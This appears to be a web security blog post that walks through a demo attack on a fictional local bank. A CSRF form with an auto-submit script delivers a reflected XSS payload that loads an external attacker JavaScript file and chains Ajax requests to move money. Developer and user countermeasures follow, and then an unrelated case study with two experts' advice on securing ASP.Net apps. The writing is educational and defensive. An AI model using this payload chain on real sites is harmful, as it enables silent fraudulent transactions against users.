At first the attack may seem far-fetched because of all the factors at play:

1. A victim needs to visit a specific vulnerable site

2. The victim then must visit another malicious site that knows to attack the site from Step 1, all while the victim still has a valid session.

So how is this attack becoming less far-fetched today?

1. A survey by the Web Application Security Consortium (WASC) reveals that
   nearly 60% of websites are vulnerable to XSS. The ability to discover XSS has never been easier, and public disclosure sites like xssed.com make discovering specific vulnerabilities trivial.

2. We’ve seen real attacks delivered through social networking sites and flash ads. These attack vectors allow malicious users to target thousands of victims concurrently – given enough potential victims, the chances that at least a handful of them also have a valid session on a specific vulnerable site becomes higher. Even though our demo shows an attack on one specific bank, an attacker can try to attack multiple sites from the same malicious JavaScript. In other words, an XSS fraudster can conceivably attempt to deliver malicious payloads for several different vulnerable sites to thousands of victims within a very short period of time.

What makes this attack particularly devastating is the fact that the victim likely won’t be able to repudiate the money transfer. In the bank’s logs, it looks like the user intentionally meant to transfer funds. All of the transactions originate from the victim’s IP address and were sent with the victim’s cookies. Only behavioural analysis, such as looking at the abnormal speed of the series of requests or noticing that multiple people transferred money to the same payee at within a short period of time, might reveal fraud.

Attack Technical Details

1. User visits http://localhost:3000 (False Secure Bank)

2. While having a valid session in False Secure Bank, user then visits http://127.0.0.1/CSRF _Example (Attacker site)
3. Within the Attacker Site, we added a 0 length by 0 width iFrame, rendering the content of the iFrame invisible to the end user.

4. Within the iFrame, we inserted some HTML including a form with pre-populated values, and some script that automatically submits the form on behalf of the user:

   <form name="input" action="http://localhost:3000/send_payment" method="post">
<input type="text" name="pay[payee]” value=”<script src=&quot;http://127.0.0.1/CSRF_Example/bankattack.js&quot; type=&quot;text/javascript&quot;></script>”>
<input type="text" name="amount" value="0"/>
<input type="text" name="commit" value="Pay"/>
</form>
<script>document.input.submit();</script>

   Note that the pay[payee] field value is the actual Cross Site Scripting payload. This corresponds to the XSS vulnerability we discovered earlier within the False Secure Bank site. In this case, the actual script points to source located at http://127.0.0.1/CSRF_Example/bankattack.js. The document.input.submit() method automatically submits the request behalf on the user – in other words, we’re delivering a Cross Site Scripting (XSS) payload via a Cross Site Request Forgery (CSRF) attack.

5. The user’s browser automatically submits the request to http://localhost:3000/send_payment with the user’s cookies. The user has no idea this has happened.

6. False Secure Bank sends a response to the 0 x 0 IFrame, where the request originated from. In the response, the developers include an unfiltered, unencoded version of the pay[payee] parameter from the send_payment request. Since this parameter renders within the clients browser, the <script src=’http://127.0.0.1/CSRF_Example/bankattack.js’ type=’ text/javascript’></script> tag automatically executes.

7. The browser automatically downloads the bankattack.js file. Since the request for JavaScript file appears to come from False Secure Bank, the browser does not believe this is a violation of the same origin policy.

8. Within the JavaScript file we’ve included a whole series of Ajax request and responses. They look something like this:

   xmlhttp.open("GET", "/payment", false); //AJAX request to get the payment screen

   xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');

   >xmlhttp.send("");

   The actual JavaSript Object type of XMLHTTP varies by browser. Note that we can set the request headers however we want, and we can emulate any user generated content – including modifying the user-agent tag or any cookies used to track user navigation. We can also save the response we get back from the “send” command and parse out interesting values. For instance, suppose we need to know the victim’s account number in order to transfer funds. We can send an XML HTTP request to the home page and parse out the account number from the response HTML. Similarly, we can parse out any anti-CSRF tokens once we have our malicious JavaScript running.

   Note that False Secure Bank does not support nor feature any Ajax. We don’t care. We only need the user’s browser to support Ajax, which most modern browsers do.

9. The JavaScript from the previous step makes several different requests:

• Go to payments screen

• Parse out the account number of the attacker

• Add the attacker as a payee

• Initiate payment

• Confirm payment

While this scenario outlines a bank transfer, we could automate practically any series of requests in any web application with this kind of attack.

Countermeasures (Developers)

• The easiest countermeasure is to prevent Cross Site Scripting. Make judicious use of strong encoding libraries like those given in the OWASP ESAPI project . Follow the details outlined in the Cross Site Scripting Prevention Cheat Sheet.

• Use frame busting code. Note, people have (and continue to) come up with ways around frame-busting . Also note that the attacker doesn’t need a frame – s/he can execute the entire attack visible to the user – although that increases the possibility that the user will shut down the browser and stop the attack midway.

• The most effective method of preventing this and almost all attacks against sensitive transactions is to use transactional authentication. The developers could have required Phone Factor authentication, for instance, for all money transfers over $100. Of course, any additional authentication may come at the expense of usability. A less effective and, arguably, less user-friendly approach is to use some anti-automation
  technology like CAPTCHA.

• The original XSS vector was delivered through a CSRF attack on the send_payment transaction. If the entire authenticated portion of False Secure Bank was protected against CSRF, we couldn’t have delivered the reflective XSS payload in the first place. Stored XSS does not suffer from the same limitation.

Countermeasures
(End Users)

• Always log out. This doesn’t prevent the attack completely but significantly limits your exposure to attack

• Do not browse to other sites while on a sensitive application such as online banking

• Use NoScript. Yes, NoScript prevents this attack, even if you trust the script in the malicious site because NoScript accurately identifies the CSRF request as a potential Cross Site Scripting attack

• Hope that the developers who create your applications care about security, and that they don’t categorically think Cross Site Scripting is low or medium risk

Traditionally, DG&S did not pay much heed to information security apart from standard practices such as patch management and installation of anti-virus on corporate machines. All that changed when 2,000 high-profile customer records were stolen from their competitors at Finicor Investment Services in late 2007. Worried that they too would suffer a breach, DG&S hired Jamie to augment their IT security practices. Of course, that was before a tide of bad news hit the American financial industry in late 2008. Now Jamie’s been left with a mandate to protect the organization’s data (a priority which still stands, as the CEO recently reminded Jamie) with no appropriate increase in spending.

Although DG&S maintains a relatively low public profile, it is well known in the financial industry and may be an ideal target for online thieves. Jamie is especially concerned that firm’s three extranet applications developed in ASP.Net are vulnerable to web application security attacks since they haven’t undergone any security testing or hardening procedures.

Jamie’s concerns were only heightened after a conversation with the company’s lead software engineer:
“Steve, have you or anyone on your team thought about security during the development of these apps?”, Jamie inquired.

“Security? These apps are made for our business partners - not the general public. We have more pressing concerns” came the curt reply.

“That may be, but they’re exposed on the Internet. It’s just a matter of time before somebody uses them to break into our systems!”, Jamie responded, visibly agitated.

“Good luck securing them. This is Wall Street buddy, we need to get our apps out ASAP before the guys across the street do, otherwise our firm stands to lose big-time, meaning both you and I will be out of jobs. I don’t have any spare time to waste on adding features or doing analysis outside of the core functional requirements”.

As angry as he was, Jamie knew that Steve had a point: time-to-market is of the essence to DG&S developers and it’s even more important as the company has to fight harder for client dollars.

Still, leaving the apps at status quo is asking for disaster. So far, Jamie has been able to keep the company away from danger thanks to complex filtering rules in the Intrusion Prevention System. He had also heard that ASP.net applications are more secure out of the box than PHP or Java web apps. He’s also toyed around with the idea of deploying a web application firewall although he’s heard that they are generally better as a short-term stop-gap measure.

If you were in Jamie’s position, what would you do?

^*: All names are fictional and are generated from http://www.kleimo.com/random/name.cfm

Jason Lam’s Response

Information security is about effectively managing risk in the organization and
the role of a security professional is to advise and assist the management of
risk. In Jamie’s shoes, I would first estimate the cost of one single
incident based on previous incidents in similar organizations and the
likelihood of an incident happening. Armed with this information, I would then
approach the senior executives in the company to explain the risks and the need
to lock down the applications. Security has to come from the top of the
organization. Starting from the highest level is the prudent route to take.

The argument from management is often, “It’s not going to happen to us.”
This is an easy one to tackle given the recent security related incidents in
the financial sector. Hard dollar value is usually very persuasive, the stock
prices affected by security incidents and also some of the public announcement
of incidents can quickly reveal the real cost. In the financial sector, PCI DSS
requirements now include application security requirements, so it is hard to
deny that it is an essential part of security. Prudent executives want to
control costs that will affect current and future business. The pressing needs
to secure applications clearly affect the company’s future, especially when
the reputation of the firm is at stake. Once the need to lock down the
application is established with executives, the funding should come with ease.

As far as the approach to locking down the application goes, there are various
options and approaches to take. If the internal security capability is strong
then a quick security assessment of the application with strong focus on
critical vulnerabilities such as OWASP Top 10 can help identify the weak point
of the application and get the developers started on the right path to fixing
the application. If skillset is lacking in the organization, then external firm
help may be necessary. Jamie should be frank with the firm on the budget
concern and the goal of locking down three business partner facing application.

A competent firm should be able to work out an effective plan for Jamie.
If fixing the application is absolutely not an option, then maybe a Web
Application Firewall (WAF) is a good choice. Most WAF devices are very
affordable and relatively easy to deploy. WAFs can do a decent job at stopping
about 50%-60% of the vulnerability, effectively reducing the vulnerability
surface. Jamie should keep in mind that there are still risks even after a WAF
device is in use and it is never a long term replacement to a full code fix.

---

Jason is a senior security analyst at a major financial institute in Canada. He is also an author and instructor for SANS Institute, mostly focusing on web application security and malware threats.

Nish Bhalla’s Response

Letting the applications go out on the Internet without any testing would be
like burying your head in the sand. Due to business requirements and lack of
time or knowledge, this is the unfortunate reality that many organizations face
today. Once, however, organizations realize the impact of the potential issues
(like DG & S), they end up hiring someone like Jamie to help reduce their risk.

There are two major security concerns with any application going live on the
Internet: 1) The security risk associated with exposing the data held by the
application. For example credit card data or other Personal Identifiable
Information (PII). 2) Other vulnerabilities within the application that could expose other components of an organization’s infrastructure.

Assuming that DG & S has neither application nor data classification ratings,
Jim should try to understand the type of data this application holds and the
security controls that are implemented in the applications. This process will
help him to understand and ultimately justify the costs he should spend on
securing the applications.

To understand the risk classification of the applications (i.e. high, medium,
or low), Jim should attempt to perform a high-level risk analysis on the
application. He can perform this analysis by not only spending some time
understanding the application by browsing it, but also interviewing the
business analysts, the architect and a senior developer. Some of key controls
he should try to understand are:

• If the data held by each application is considered highly confidential,
  confidential or public.
• How the basic security
  controls such as Authentication, Authorization, Log management and Encryption
  (in rest/in transit) are being managed by the application.

Based on this information, Jim can understand which of the applications
would be considered a high risk, medium risk and low risk for his environment.
After understanding this, he should then decide to either perform an
authenticated Health Check or an Unauthenticated Health Check. If he has the
time and skill-set required he should perform the assessment himself, otherwise
he should consider bringing in external help. One of these approaches would
give him the best value for his money.

---

Nish Bhalla, the Founder of Security Compass, is a specialist in product, code, web application, host and network reviews.